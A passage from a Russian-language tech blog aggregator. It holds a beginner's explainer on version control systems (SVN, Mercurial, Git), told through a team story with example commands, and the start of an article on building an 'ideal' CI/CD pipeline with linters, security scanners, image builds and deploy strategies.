  • не завязаны на тестовый фреймворк (под капотом может быть что угодно дожатия будут работать),

  • поделились знаниями об использовании Jenkins Pipeline.

Примеры кода выложены на GitHub. Если будут вопросы, задавайте обязательно отвечу.

Подробнее..

Что такое VCS (система контроля версий)

17.04.2021 00:07:00 | Автор: admin

Система контроля версий (от англ. Version Control System, VCS) это место хранения кода. Как dropbox, только для разработчиков!

Она заточена именно на разработку продуктов. То есть на хранение кода, синхронизацию работы нескольких человек, создание релизов (бранчей)... Но давайте я лучше расскажу на примере, чем она лучше дропбокса. Всё как всегда, история с кучей картиночек для наглядности ))

А потом я подробнее расскажу, как VCS работает что значит "создать репозиторий", "закоммитить и смерджить изменения", и другие страшные слова. В конце мы пощупаем одну из систем VCS руками, скачаем код из открытого репозитория.

Итого содержание:

Что это такое и зачем она нужна

Допустим, что мы делаем калькулятор на Java (язык программирования). У нас есть несколько разработчиков Вася, Петя и Иван. Через неделю нужно показывать результат заказчику, так что распределяем работу:

  • Вася делает сложение;

  • Петя вычитание;

  • Иван начинает умножение, но оно сложное, поэтому переедет в следующий релиз.

Исходный код калькулятора хранится в обычной папке на сетевом диске, к которому все трое имеют доступ. Разработчик копирует этот код к себе на машину, вносит изменения и проверяет. Если всё хорошо кладет обратно. Так что код в общей папке всегда рабочий!

Итак, все забрали себе файлы из общей папки. Пока их немного:

  • Main.java общая логика

  • GUI.java графический интерфейс программы

С ними каждый и будет работать!

Вася закончил работу первым, проверил на своей машине все работает, отлично! Удовлетворенно вздохнув, он выкладывает свой код в общую папку. Вася сделал отдельный класс на сложение (Sum.java), добавил кнопку в графический интерфейс (внес изменения в GUI.java) и прописал работу кнопки в Main.java.

Петя химичил-химичил, ускорял работу, оптимизировал... Но вот и он удовлетворенно вздохнул готово! Перепроверил ещё раз работает! Он копирует файлы со своей машины в общую директорию. Он тоже сделал отдельный класс для новой функции (вычитание Minus.java), внес изменения в Main.java и добавил кнопку в GUI.java.

Ваня пока химичит на своей машине, но ему некуда торопиться, его изменения попадут только в следующий цикл.

Все довольны, Вася с Петей обсуждают планы на следующий релиз. Но тут с показа продукта возвращается расстроенная Катя, менеджер продукта.

Катя, что случилось??

Вы же сказали, что всё сделали! А в графическом интерфейсе есть только вычитание. Сложения нет!

Вася удивился:

Как это нет? Я же добавлял!

Стали разбираться. Оказалось, что Петин файл затер изменения Васи в файлах, которые меняли оба: Main.java и GUI.java. Ведь ребята одновременно взяли исходные файлы к себе на компьютеры у обоих была версия БЕЗ новых функций.

Вася первым закончил работу и обновил все нужные файлы в общей папке. Да, на тот момент всё работало. Но ведь Петя работал в файле, в котором ещё не было Васиных правок.

Поэтому, когда он положил документы в хранилище, Васины правки были стерты. Остался только новый файл Sum.java, ведь его Петя не трогал.

Хорошо хоть логика распределена! Если бы всё лежало в одном классе, было бы намного сложнее совместить правки Васи и Пети. А так достаточно было немного подправить файлы Main.java и GUI.java, вернув туда обработку кнопки. Ребята быстро справились с этим, а потом убедились, что в общем папке теперь лежит правильная версия кода.

Собрали митинг (жаргон собрание, чтобы обсудить что-то):

Как нам не допустить таких косяков в дальнейшем?

Давайте перед тем, как сохранять файлы в хранилище, забирать оттуда последние версии! А ещё можно брать свежую версию с утра. Например, в 9 часов. А перед сохранением проверять дату изменения. Если она позже 9 утра, значит, нужно забрать измененный файл.

Да, давайте попробуем!

Вася с Петей были довольны, ведь решение проблемы найдено! И только Иван грустит. Ведь он целую неделю работал с кодом, а теперь ему надо было синхронизировать версии... То есть объединять свои правки с изменениями коллег.

Доделав задачу по умножению, Иван синхронизировал свои файлы с файлами из хранилища. Это заняло половину рабочего дня, но зато он наконец-то закончил работу! Довольный, Иван выключил компьютер и ушел домой.

Когда он пришел с утра, в офисе был переполох. Вася бегал по офису и причитал:

Мои изменения пропали!!! А я их не сохранил!

Увидев Ваню, он подскочил к нему и затряс за грудки:

Зачем ты стер мой код??

Стали разбираться. Оказалось что Вася вчера закончил свой кусок работы, проверил, что обновлений файлов не было, и просто переместил файлы со своего компьютера в общую папку. Не скопировал, а переместил. Копий никаких не осталось.

После этого изменения вносил Иван. Да, он внимательно вычитывал файлы с кодом и старался учесть и свои правки, и чужие. Но изменений слишком много, часть Васиных правок он потерял.

Код теперь не работает! Ты вообще проверял приложение, закончив синхронизацию?

Нет, я только свою часть посмотрел...

Вася покачал головой:

Но ведь при сохранении на общий диск можно допустить ошибку! По самым разным причинам:

  • Разработчик начинающий, чаще допускает ошибки.

  • Случайно что-то пропустил если нужно объединить много файлов, что-то обязательно пропустишь.

  • Посчитал, что этот код не нужен что он устарел или что твоя новая логика делает то же самое, а на самом деле не совсем.

И тогда приложение вообще перестанет работать. Как у нас сейчас.

Ваня задумался:

Хм... Да, пожалуй, ты прав. Нужно тестировать итоговый вариант!

Петя добавил:

И сохранять версии. Может, перенесем наш код в Dropbox, чтобы не терять изменения?

На том и порешили. Остаток дня все трое работали над тем, чтобы приложение снова заработало. После чего бережно перенесли код в дропбокс. Теперь по крайней мере сохранялись старые версии. И, если разработчик криво синхронизировал файлы или просто залил свои, затерев чужие изменения, можно было найти старую версию и восстановить ее.

Через пару дней ребята снова собрали митинг:

Ну как вам в дропбоксе?

Уже лучше. По крайней мере, не потеряем правки!

Петя расстроенно пожимает плечами:

Да, только мы с Васей одновременно вносили изменения в Main.java, создалась конфликтующая версия. И пришлось вручную их объединять... А класс то уже подрос! И глазками сравнивать 100 строк очень невесело... Всегда есть шанс допустить ошибку.

Ну, можно же подойти к тому, кто создал конфликт и уточнить у него, что он менял.

Хорошая идея, давайте попробуем!

Попробовали. Через несколько дней снова митинг:

Как дела?

Да всё зашибись, работаем!

А почему код из дропбокса не работает?

Как не работает??? Мы вчера с Васей синхронизировались!

А ты попробуй его запустить.

Посмотрели все вместе и правда не работает. Какая-то ошибка в Main.java. Стали разбираться:

Так, тут не хватает обработки исключения.

Ой, подождите, я же её добавлял!

Но ты мне не говорил о ней, когда мы объединяли правки.

Да? Наверное, забыл...

Может, еще что забыл? Ну уж давай лучше проверим глазами...

Посидели, выверили конфликтные версии. Потратили час времени всей команды из-за пустяка. Обидно!

Слушайте, может, это можно как-то попроще делать, а? Чтобы человека не спрашивать что ты менял?

Можно использовать программу сравнения файлов. Я вроде слышал о таких. AraxisMerge, например!

Ой, точно! В IDEA же можно сравнивать твой код с клипбордом (сохраненным в Ctrl + C значении). Давайте использовать его!

Точно!

Начали сравнивать файлы через программу жизнь пошла веселее. Но через пару дней Иван снова собрал митинг:

Ребята, тут такая тема! Оказывается, есть специальные программы для хранения кода! Они хранят все версии и показывают разницу между ними. Только делает это сама программа, а не человек!

Да? И что за программы?

Системы контроля версий называются. Вот SVN, например. Давайте попробуем его?

А давайте!

Попробовали. Работает! Еще и часть правок сама синхронизирует, даже если Вася с Петей снова не поделили один файл. Как она это делает? Давайте разбираться!

Как VCS работает

Подготовительная работа

Это те действия, которые нужно сделать один раз.

1. Создать репозиторий

Исходно нужно создать место, где будет лежать код. Оно называется репозиторий. Создается один раз администратором.

Ребята готовы переехать из дропбокса в SVN. Сначала они проверяют, что в дропбоксе хранится актуальная версия кода, ни у кого не осталось несохраненных исправлений на своей машине. Потом ребята проверяют, что итоговый код работает.

А потом Вася берет код из дропбокса, и кладет его в VCS специальной командой. В разных системах контроля версии разные названия у команды, но суть одна создать репозиторий, в котором будет храниться код.

Всё! Теперь у нас есть общее хранилище данных! С ним дальше и будем работать.

2. Скачать проект из репозитория

Теперь команде нужно получить проект из репозитория. Можно, конечно, и из дропбокса скачать, пока там актуальная версия, но давайте уже жить по-правильному!

Поэтому Петя, Вася и Иван удаляют то, что было у них было на локальных компьютерах. И забирают данные из репозитория, клонируя его. В Mercurial (один из вариантов VCS) эта команда так и называется clone. В других системах она зовется иначе, но смысл всё тот же клонировать (копировать) то, что лежит в репозитории, к себе на компьютер!

Забрать код таким образом нужно ровно один раз, если у тебя его ещё не было. Дальше будут использоваться другие команды для передачи данных туда-сюда.

А когда на работу придет новый сотрудник, он сделает то же самое скачает из репозитория актуальную версию кода.

Ежедневная работа

А это те действия, которые вы будете использовать часто.

1. Обновить проект, забрать последнюю версию из репозитория

Приходя утром на работу, нужно обновить проект на своем компьютере. Вдруг после твоего ухода кто-то вносил изменения?

Так, Вася обновил проект утром и увидел, что Ваня изменил файлы Main.java и GUI.java. Отлично, теперь у Васи актуальная версия на машине. Можно приступать к работе!

В SVN команда обновления называется update, в Mercurial pull. Она сверяет код на твоем компьютере с кодом в репозитории. Если в репозитории появились новые файлы, она их скачает. Если какие-то файлы были удалены удалит и с твоей машины тоже. А если что-то менялось, обновит код на локальном компьютере.

Тут может возникнуть вопрос в чем отличие от clone? Можно же просто клонировать проект каждый раз, да и всё! Зачем отдельная команда?

Клонирование репозитория производится с нуля. А когда разработчики работают с кодом, у них обычно есть какие-то локальные изменения. Когда начал работу, но ещё не закончил. Но при этом хочешь обновить проект, чтобы конфликтов было меньше.

Если бы использовалось клонирование, то пришлось бы переносить все свои изменения в новый репозиторий вручную. А это совсем не то, что нам нужно. Обновление не затронет новые файлы, которые есть только у вас на компьютере.

А еще обновление это быстрее. Обновиться могли 5 файликов из 1000, зачем выкачивать всё?

2. Внести изменения в репозиторий

Вася работает над улучшением сложения. Он придумал, как ускорить его работу. А заодно, раз уж взялся за рефакторинг (жаргон улучшение системы, от англ. refactor), обновил и основной класс Main.java.

Перед началом работы он обновил проект на локальном (своём) компьютере, забрав из репозитория актуальные версии. А теперь готов сохранить в репозиторий свои изменения. Это делается одной или двумя командами зависит от той VCS, которую вы используете в работе.

1 команда commit

Пример системы SVN.

Сделав изменения, Вася коммитит их. Вводит команду commit и все изменения улетают на сервер. Всё просто и удобно.

2 команды commit + push

Примеры системы Mercurial, Git.

Сделав изменения, Вася коммитит их. Вводит команду commit изменения сохранены как коммит. Но на сервер они НЕ уходят!

Чтобы изменения пошли на сервер, их надо запушить. То есть ввести команду push.

Это удобно, потому что можно сделать несколько разных коммитов, но не отправлять их в репозиторий. Например, потому что уже code freeze и тестировщики занимаются регрессией. Или если задача большая и может много всего сломать. Поэтому её надо сначала довести до ума, а потом уже пушить в общий репозиторий, иначе у всей команды развалится сборка!

При этом держать изменения локально тоже не слишком удобно. Поэтому можно спокойно делать коммиты, а потом уже пушить, когда готов. Или когда интернет появился =) Для коммитов он не нужен.

Итого

Когда разработчик сохраняет код в общем хранилище, он говорит:

Закоммитил.

Или:

Запушил.

Смотря в какой системе он работает. После этих слов вы уверены код изменен, можно обновить его на своей машине и тестировать!

3. Разрешить конфликты (merge)

Вася добавил вычисление процентов, а Петя деление. Перед работой они обновили свои локальные сборки, получив с сервера версию 3 файлов Main.java и Gui.java.

Для простоты восприятия нарисуем в репозитории только эти файлы и Minus.java, чтобы показать тот код, который ребята трогать не будут.

Вася закончил первым. Проверив свой код, он отправил изменения на сервер. Он:

  • Добавил новый файл Percent.java

  • Обновил Main.java (версию 3)

  • Обновил Gui.java (версию 3)

При отправке на сервер были созданы версии:

  • Percent.java версия 1

  • Main.java версия 4

  • Gui.java версия 4

Петя закончил чуть позже. Он:

  • Добавил новый файл Division.java

  • Обновил Main.java (версию 3, ведь они с Васей скачивали файлы одновременно)

  • Обновил Gui.java (версию 3)

Готово, можно коммитить! При отправке на сервер были созданы версии:

  • Division.java версия 1

  • Main.java версия 4

  • Gui.java версия 4

Но стойте, Петя обновляет файлы, которые были изменены с момента обновления кода на локальной машине! Конфликт!

Часть конфликтов система может решить сама, ей достаточно лишь сказать merge. И в данном случае этого будет достаточно, ведь ребята писали совершенно разный код, а в Main.java и Gui.java добавляли новые строчки, не трогая старые. Они никак не пересекаются по своим правкам. Поэтому система сливает изменения добавляет в версию 4 Петины строчки.

Но что делать, если они изменяли один и тот же код? Такой конфликт может решить только человек. Система контроля версий подсвечивает Пете Васины правки и он должен принять решение, что делать дальше. Система предлагает несколько вариантов:

  • Оставить Васин код, затерев Петины правки если Петя посмотрит Васны изменения и поймет, что те лучше

  • Затереть Васины правки, взяв версию Петра если он посчитает, что сам все учел

  • Самому разобраться в таком случае в файл кода добавляются обе версии и надо вручную слепить из них итоговый кусок кода

Разрешение конфликтов самая сложная часть управления кодом. Разработчики стараются не допускать их, обновляя код перед тем, как трогать файл. Также помогают небольшие коммиты после каждого завершенного действия так другие разработчики могут обновиться и получить эти изменения.

Но, разумеется, конфликты все равно бывают. Разработчики делают сложные задачи, на которые уходит день-два. Они затрагивают одни и те же файлы. В итоге, вливая свои изменения в репозиторий, они получают кучу конфликтов, и нужно просмотреть каждый правильно ли система объединила файлы? Не нужно ли ручное вмешательство?

Особая боль глобальный рефакторинг, когда затрагивается МНОГО файлов. Обновление версии библиотеки, переезд с ant на gradle, или просто выкашивание легаси кода. Нельзя коммитить его по кусочкам, иначе у всей команды развалится сборка.

Поэтому разработчик сначала несколько дней занимается своей задачей, а потом у него 200 локальных изменений, среди которых явно будут конфликты.

А что делать? Обновляет проект и решает конфликты. Иногда в работе над большой задачей разработчик каждый день обновляется и мерджит изменения, а иногда только через несколько дней.

Тестировщик будет сильно реже попадать в конфликтные ситуации, просто потому, что пишет меньше кода. Иногда вообще не пишет, иногда пополняет автотесты. Но с разработкой при этом почти не пересекается. Однако выучить merge все равно придется, пригодится!

4. Создать бранч (ветку)

На следующей неделе нужно показывать проект заказчику. Сейчас он отлично работает, но разработчики уже работают над новыми изменениями. Как быть? Ребята собираются на митинг:

Что делать будем? Не коммитить до показа?

У меня уже готовы новые изменения. Давайте закоммичу, я точно ничего не сломал.

Катя хватается за голову:

Ой, давайте без этого, а? Мне потом опять краснеть перед заказчиками!

Тут вмешивается Иван:

А давайте бранчеваться!

Все оглянулись на него:

Что делать?

Иван стал рисовать на доске:

Бранч это отдельная ветка в коде. Вот смотрите, мы сейчас работаем в trunk-е, основной ветке.

Когда мы только-только добавили наш код на сервер, у нас появилась точка возврата сохраненная версия кода, к которой мы можем обратиться в любой момент.

Потом Вася закоммитил изменения по улучшению классов появилась версия 1 кода.

Потом он добавил проценты появилась версия кода 2.

При этом в самой VCS сохранены все версии, и мы всегда можем:

  • Посмотреть изменения в версии 1

  • Сравнить файлы из версии 1 и версии 2 система наглядно покажет, где они совпадают, а где отличаются

  • Откатиться на прошлую версию, если версия 2 была ошибкой.

Потом Петя добавил деление появилась версия 3.

И так далее сколько сделаем коммитов, столько версий кода в репозитории и будет лежать. А если мы хотим сделать бранч, то система копирует актуальный код и кладет отдельно. На нашем стволе появляется новая ветка (branch по англ. ветка). А основной ствол обычно зовут trunk-ом.

Теперь, если я захочу закоммитить изменения, они по-прежнему пойдут в основную ветку. Бранч при этом трогать НЕ будут (изменения идут в ту ветку, в которой я сейчас нахожусь. В этом примере мы создали branch, но работать продолжаем с trunk, основной веткой)

Так что мы можем смело коммитить новый код в trunk. А для показа использовать branch, который будет оставаться стабильным даже тогда, когда в основной ветке всё падает из-за кучи ошибок.

С бранчами мы всегда будем иметь работающий код!

Подожди, подожди! А зачем эти сложности? Мы ведь всегда может просто откатиться на нужную версию! Например, на версию 2. И никаких бранчей делать не надо!

Это верно. Но тогда тебе нужно будет всегда помнить, в какой точке у тебя всё работает и тут есть все нужные функции. А если делать говорящие названия бранчей, обратиться к ним намного проще. К тому же иногда надо вносить изменения именно в тот код, который на продакшене (то есть у заказчика).

Вот смотри, допустим, мы выпустили сборку 3, идеально работающую. Спустя неделю Заказчик ее установил, а спустя месяц нашел баг. У нас за эти недели уже 30 новых коммитов есть и куча изменений.

Заказчику нужно исправление ошибки, но он не готов ставить новую версию ведь ее надо тестировать, а цикл тестирования занимает неделю. А баг то нужно исправить здесь и сейчас! Получается, нам надо:

  • Обновиться на версию 3

  • Исправить баг локально (на своей машине, а не в репозитории)

  • Никуда это не коммитить = потерять эти исправления

  • Собрать сборку локально и отдать заказчику

  • Не забыть скопипастить эти исправления в актуальную версию кода 33 и закоммитить (сохранить)

Что-то не очень весело. А если нужно будет снова дорабатывать код? Искать разработчика, у которого на компьютере сохранены изменения? Или скопировать их и выложить на дропбокс? А зачем тогда использовать систему контроля версий?

Именно для этого мы и бранчуемся! Чтобы всегда иметь возможность не просто вернуться к какому-то коду, но и вносить в него изменения. Вот смотрите, когда Заказчик нашел баг, мы исправили его в бранче, а потом смерджили в транк.

Смерджили так называют слияние веток. Это когда мы внесли изменения в branch и хотим продублировать их в основной ветке кода (trunk). Мы ведь объединяем разные версии кода, там наверняка есть конфликты, а разрешение конфликтов это merge, отсюда и название!

Если Заказчик захочет добавить новую кнопочку или как-то еще изменить свою версию кода без проблем. Снова вносим изменения в нужный бранч + в основную ветку.

Веток может быть много. И обычно чем старше продукт, тем больше веток релиз 1, релиз 2... релиз 52...

Есть программы, которые позволяют взглянуть на дерево изменений, отрисовывая все ветки, номера коммитов и их описание. Именно в таком стиле, как показано выше =) В реальности дерево будет выглядеть примерно вот так (картинка из интернета):

А иногда и ещё сложнее!

А как посмотреть, в какой ветке ты находишься?

О, для этого есть специальная команда. Например, в Mercurial это hg sum: она показывает информацию о том, где ты находишься. Вот пример ее вызова:

D:\vcs_project\test>hg sumparent: 3:66a91205d385 tipTry to fix bug with devicebranch: default

В данном примере parent это номер коммита. Мы ведь можем вернуться на любой коммит в коде. Вдруг мы сейчас не на последнем, не на актуальном? Можно проверить. Тут мы находимся на версии 3. После двоеточия идет уникальный номер ревизии, ID кода.

Потом мы видим сообщение, с которым был сделан коммит. В данном случае разработчик написал Try to fix bug with device.

И, наконец, параметр branch! Если там значение default мы находимся в основной ветке. То есть мы сейчас в trunk-е. Если бы были не в нём, тут было бы название бранча. При создании бранча разработчик даёт ему имя. Оно и отображается в этом пункте.

Круто! Давайте тогда делать ветку!

*****

Git создал интерактивную игрушку, чтобы посмотреть на то, как происходит ветвление https://learngitbranching.js.org

*****

Отдельно хочу заметить, что бранчевание на релиз не единственный вариант работы с VCS. Есть и другой подход к разработке когда транк поддерживают в актуальном и готовом к поставкам состоянии, а все задачи делают в отдельных ветках. Но его мы в этой статье рассматривать не будем.

Итого

Система контроля версий (от англ. Version Control System, VCS) это dropbox для кода.

Популярные VCS и отличия между ними

Наиболее популярные это:

  • SVN простая, но там очень сложно мерджиться

  • Mercurial (он же HG), Git намного больше возможностей (эти системы похожи по функционалу)

SVN очень простая система, одна из первых. Сделал закоммитил. Всё! Для небольшого проекта её вполне достаточно. Вы можете делать разные ветки и мерджить хоть туда, хоть сюда. Но у неё нет автомитического мерджа, вам надо каждый файлик брать и копипастить изменения в основную ветку, что неудобно.

Mercurial и Git распределенная система контроля версий. Внесение изменений двухступенчатое сначала коммит, потом push. Это удобно, если вы работаете без интернета, или делаете мелкие коммиты, но не хотите ломать основной код пока не доделаете большую задачу. Тут есть и автоматическое слияние разных бранчей. Больше возможностей дают системы.

У любой системы контроля версий есть консольный интерфейс. То есть общаться с ними можно напрямую через консоль, вводя туда команды. Склонировать репозиторий, обновить его, добавить новый файл, удалить старый, смерджить изменения, создать бранч... Всё это делается с помощью команд.

Но есть и графический интерфейс. Устанавливаете отдельную программу и выполняете действия мышкой. Обычно это делается через черепашку программа называется Tortoise<VCS>. TortoiseSVN, TortoiseHG, TortoiseGit... Часть команд можно сделать через среду разработки IDEA, Eclipse, etc.

Но любой графический интерфейс как работает? Вы потыкали мышкой, а система Tortoise составила консольную команду из вашего тык-тык, её и применила.

См также:

Что такое API подробнее о том, что скрывается за интерфейсом.

Вот некоторые базовые команды и форма их записи в разных VCS:

Действие

SVN

GIT

HG

Клонировать репозиторий

svn checkout <откуда> <куда>

git clone <откуда> <куда>

hg clone<откуда> <куда>

Обновить локальную сборку из репозитория

svn update

git pull

hg pull -u

Проверить текущую версию (где я есть?)

svn log --revision HEAD

git show -s

hg sum

Закоммитить изменения

svn commit -m "MESSAGE"

git commit-a-m "MESSAGE"


git push

hg commit -m "MESSAGE"


hg push

Переключиться на branch

svn checkout <откуда> <куда>

git checkout BRANCH

hg update BRANCH

Тут хочу напомнить, что я тестировщик, а не разработчик. Поэтому про тонкости различия коммитов писать не буду, да и статья для новичков, оно им и не надо =)

Пример выкачиваем проект из Git

Выкачивать мы будем систему с открытым исходным кодом Folks. Так что вы можете повторить этот пример сами!

Для начала установите Git. Когда он установлен, можно выкачивать репозиторий на свой компьютер. Я покажу 3 способа (есть и другие, но я покажу именно эти):

  1. Через консоль

  2. Через IDEA

  3. Через TortoiseGit

Исходный код мы будем в директорию D:\git.

1. Через консоль

1. Запустить консоль git:

2. Написать команду:

git clone Откуда Куда
git clone https://bitbucket.org/testbasecode/folks/src/master/ D:\\git\\folks_console

В консоли нужно писать простой слеш или экранировать обратный. Иначе консоль его проигнорирует!

Также НЕ НАДО использовать в названии папки куда клонируем русские символы или пробелы. Иначе потом огребете проблем на сборке проекта.

2. Через IDEA

1. Запустить IDEA

2. Check out from Version Control Git

3. Заполнить поля:

  • URL https://bitbucket.org/testbasecode/folks/src/master/ (откуда выкачиваем исходный код)

  • Назначение D:\git\folks_idea (куда сохраняем на нашем компьютере)

4. Нажать Clone всё! Дальше IDEA всё сделает сама!

А под конец предложит открыть проект, подтверждаем!

Если открывается пустой серый экран, найдите закладку Project (у меня она слева сверху) и щелкните по ней, чтобы раскрыть проект:

И вуаля и код скачали, и сразу в удобном и бесплатном редакторе открыли! То, что надо. Для новичка так вообще милое дело.

3. Через TortoiseGit

Еще один простой и наглядный способ для новичка через графический интерфейс, то есть черепашку (tortoise):

1. Скачать TortoiseGit

2. Установить его Теперь, если вы будете щелкать правой кнопкой мыши в папочках, у вас появятся новые пункты меню: Git Clone, Git Create repository here, TortoiseGit

3. Перейти в папку, где у нас будет храниться проект. Допустим, это будет D:\git.

4. Нажать правой кнопкой мыши Git Clone

Заполнить поля:

  • URL https://bitbucket.org/testbasecode/folks/src/master/ (откуда выкачиваем исходный код)

  • Directory D:\git\folks_tortoise_git (куда сохраняем на нашем компьютере)

5. Нажать Ок

Вот и всё! Система что-то там повыкачивает и покажет результат папочку с кодом!

Итого мы получили 3 папки с одинаковым кодом! Неважно, какой способ выберете вы, результат не изменится:

Итого

Пусть вас не пугают страшные слова типа SVN, Mercurail, Git, VCS это всё примерно одно и то же. Место для хранения кода, со всеми его версиями. Дропбокс разработчика! И даже круче =) Ведь в дропбоксе любое параллельное изменение порождает конфликтную версию.

Я храню свою книгу в дропбоксе. Там же лежит файл для художницы TODO Вике. Когда я придумываю новую картинку, тодобавляю ее в конец файла. Когда Вика заканчивает рисовать, она отмечает в ТЗ, какая картинка готова.

Мы правим разные места. Вика идет сначала, я добавляю в конец. Казалось бы, можно сохранить и ее, и мои изменения. Но нет, если файл открыт у обеих, то при втором сохранении создается конфликтная копия. И надо вручную синхронизировать изменения.

Гуглодок в этом плане получше будет, его можно редактировать параллельно. И если менять разные места, конфликтов совсем не будет!

Но сравнивать с гуглодокой тоже будет неправильно. Потому что гуглодоку можно редактировать параллельно, а в VCS каждый работает со своей версией файла, которую скачал с хранилища. И только когда разработчик решил, что пора он сохраняет изменения обратно в хранилище.

Когда вы приходите на новую работу, вам нужно выкачать код из хранилища. Это означает просто забрать из общего хранилища актуальную версию. Как если бы вы зашли в дропбокс и скопипастили себе последнюю версию файлов. Просто в VCS это делается при помощи командной строки или специального графического интерфейса типа Tortoise Hg.

Это нестрашно =) Посмотрите выше пример буквально 1 команда позволяет нам получить этот самый код.

А потом уже, если разрешат, вы сможете даже вносить свои изменения в основной код или код автотестов. Но если уж вы с этим справитесь, то с коммитом и подавно!

PS: больше полезных статей ищитев моем блоге по метке полезное. А полезные видео намоем youtube-канале.

PPS: автор картинок этой статьи Аня Черноморцева, автор стиля Виктория Лапис =)

Подробнее..

Идеальный пайплайн в вакууме

03.06.2021 22:22:36 | Автор: admin
Даже не зовите меня, если ваш pipeline не похож на это.Даже не зовите меня, если ваш pipeline не похож на это.

На собеседованиях на позицию, предполагающую понимание DevOps, я люблю задавать кандидатам такой вопрос (а иногда его еще задают и мне):

Каким, по вашему мнению, должен быть идеальный пайплайн от коммита до продашкена?/Опишите идеальный CI/CD / etc

Сегодня я хочу рассказать про своё видение идеального пайплайна. Материал ориентирован на людей, имеющих опыт в построении CI/CD или стремящихся его получить.

Почему это важно?

  1. Вопрос об идеальном пайплайне хорош тем, что он не содержит точного ответа.

  2. Кандидат начинает рассуждать, а в крутых специалистах ценится именно умение думать.

  3. Когда в вопрос добавляется такое абсолютное прилагательное, как "идеальный", то мы сразу развязываем кандидатам руки в просторе для творчества и фантазий. У соискателей появляется возможность показать, какие улучшения они видят (или не видят) в текущей работе, и что хотели бы добавить сами. Также мы можем узнать, есть ли у нашего предполагаемого будущего коллеги мотивация к улучшениям процессов, ведь концепция "работает не трогай" не про динамичный мир DevOps.

  4. Организационная проверка. Позволяет узнать, насколько широка картина мира у соискателя. Условно: от создания задачи в Jira до настроек ноды в production. Сюда же можно добавить понимание стратегий gitflow, gitlabFlow, githubFlow.

Итак, прежде чем перейти к построению какого-либо процесса CI, необходимо определиться, а какие шаги нам доступны?

Что можно делать в CI?

  • сканить код;

  • билдить код;

  • тестить код;

  • деплоить приложение;

  • тестить приложение;

  • делать Merge;

  • просить других людей подтверждать MR через code review.

Рассмотрим подробнее каждый пункт.

Code scanning

На этой стадии основная мысль никому нельзя верить.

Даже если Вася Senior/Lead Backend Developer. Несмотря на то, что Вася хороший человек/друг/товарищ и кум. Человеческий фактор, это все еще человеческий фактор.

Необходимо просканировать код на:

  • соотвествие общему гайдлайну;

  • уязвимости;

  • качество.

Мне нужны твои уязвимости, сапоги и мотоциклМне нужны твои уязвимости, сапоги и мотоцикл

Задачи на этой стадии следует выполнять параллельно.

И триггерить только если меняются исходные файлы, или только если было событие git push.

Пример для gitlab-ci

stages:  - code-scanning.code-scanning: only: [pushes] stage: code-scanning 

Linters

Линтеры это прекрасная вещь! Про них уже написано много статей. Подробнее можно почитать в материале "Холиварный рассказ про линтеры".

Самая важная задача линтеров приводить код к единообразию.

После внедрения этой штучки разработчики начнут вас любить. Потому что они наконец-то начнут понимать друг друга. Или ненавидеть, решив, что вы вставляете им палки в колеса линтеры в CI. Это уже зависит от ваших soft skills, культуры и обмена знаниями.

Инструменты

Инструмент

Особенности

eslint

JavaScript

pylint

Python

golint

Golang

hadolint

Dockerfile

kubeval

Kubernetes manifest

shellcheck

Bash

gixy

nginx config

etc

Code Quality

code quality этими инструментами могут быть как продвинутые линтеры, так и совмещающие в себе всякие ML-модели на поиск слабых мест в коде: утечек памяти, небезопасных методов, уязвимостей зависимостей и т.д, перетягивая на себя еще code security компетенции.

Инструменты

Инструмент

Особенности

Price

SonarQube

Поиск ошибок и слабых мест в коде

От 120

CodeQL

Github native, поиск CVE уязвимостей

OpenSource free

etc

Code Security

Но существуют также и отдельные инструменты, заточенные только для code security. Они призваны:

  1. Бороться с утечкой паролей/ключей/сертификатов.

  2. Cканировать на известные уязвимости.

Неважно, насколько большая компания, люди в ней работают одинаковые. Если разработчик "ходит" в production через сертификат, то для своего удобства разработчик добавит его в git. Поэтому придется потратить время, чтобы объяснить, что сертификат должен храниться в vault, а не в git

Инструменты

Инструмент

Особенности

Price

gitleaks

Используется в Gitlab Security, может сканить промежуток от коммита "А" до коммита "Б".

Free

shhgit

Запустили недавно Enterpise Edition.

От $336

etc

Сканер уязвимостей необходимо запускать регулярно, так как новые уязвимости имеют свойство со временем ВНЕЗАПНО обнаруживаться.

Да-да, прямо как Испанская Инквизиция!Да-да, прямо как Испанская Инквизиция!

Code Coverage

Ну и конечно, после тестирования, нужно узнать code coverage.

Процент исходного кода программы, который был выполнен в процессе тестирования.

Инструменты

Инструмент

Особенности

Price

go cover

Для Golang. Уже встроен в Golang.

Free

cobertura

Работает на основе jcoverage. Java мир

Free

codecov

Старая добрая классика

Free до 5 пользователей

etc

Unit test

Модульные тесты имеют тенденцию перетекать в инструменты code quality, которые умеют в юнит тесты.

Инструменты

Инструмент

Особенности

phpunit

PHP (My mom says I am special)

junit

Java (многие инстурменты поддерживают вывод в формате junit)

etc

Build

Этап для сборки artifacts/packages/images и т.д. Здесь уже можно задуматься о том, каким будет стратегия версионирования всего приложения.

За модель версионирования вы можете выбрать:

Во времена контейнеризации, в первую очередь интересуют образы для контейнеров и способы их версионирования.

Инструменты для сборки образов

Инструмент

Особенности

docker build

Почти все знают только это.

buildx / buildkit

Проект Moby предоставил свою реализацию. Поставляется вместе с докером, включается опцией DOCKER_BUILDKIT=1.

kaniko

Инструмент от Google, позволяет собирать в юзерспейсе, то есть без докер-демона.

werf

Разработка коллег из Флант'а. Внутри stapel. All-in-one: умеет не только билдить, но и деплоить.

buildah

Open Container Initiative, Podman.

etc

Итак, сборка прошла успешно идем дальше.

Scan package

Пакет/образ собрали. Теперь нужно просканировать его на уязвимости. Современные registry уже содержат инструментарий для этого.

Инструменты

Инструмент

Особенности

Цена

harbor

Docker Registry, ChartMuseum, Robot-users.

Free

nexus

Есть все в том числе и Docker.

Free и pro

artifactory

Комбайн, чего в нем только нет.

Free и pro

etc

Deploy

Стадия для развертывания приложения в различных окружениях.

Деплоим контейнер в прод, как можем.Деплоим контейнер в прод, как можем.

Не все окружения хорошо сочетаются со стратегиями развертывания.

  • rolling классика;

  • recreate все что угодно, но не production;

  • blue/green в 90% процентов случаев этот способ применим только к production окружениям;

  • canary в 99% процентов случаев этот способ применим только к production окружениям.

Stateful

Нужно еще помнить, что даже имея одинаковый код в stage и production, production может развалиться именно из-за того, что stateful у них разный. Миграции могут отлично пройти на пустой базе, но появившись на проде, сломать зеленые кружочки/галочки в пайплайне. Поэтому для stage/pre-production следует предоставлять обезличенный бэкап основной базы.

И не забудьте придумать способ откатывания ваших релизов на последний/конкретный релиз.

Инструменты

Инструмент

Особенности

helmwave

Docker-compose для helm. Наша разработка.

helm

Собираем ямлики в одном месте.

argoCD

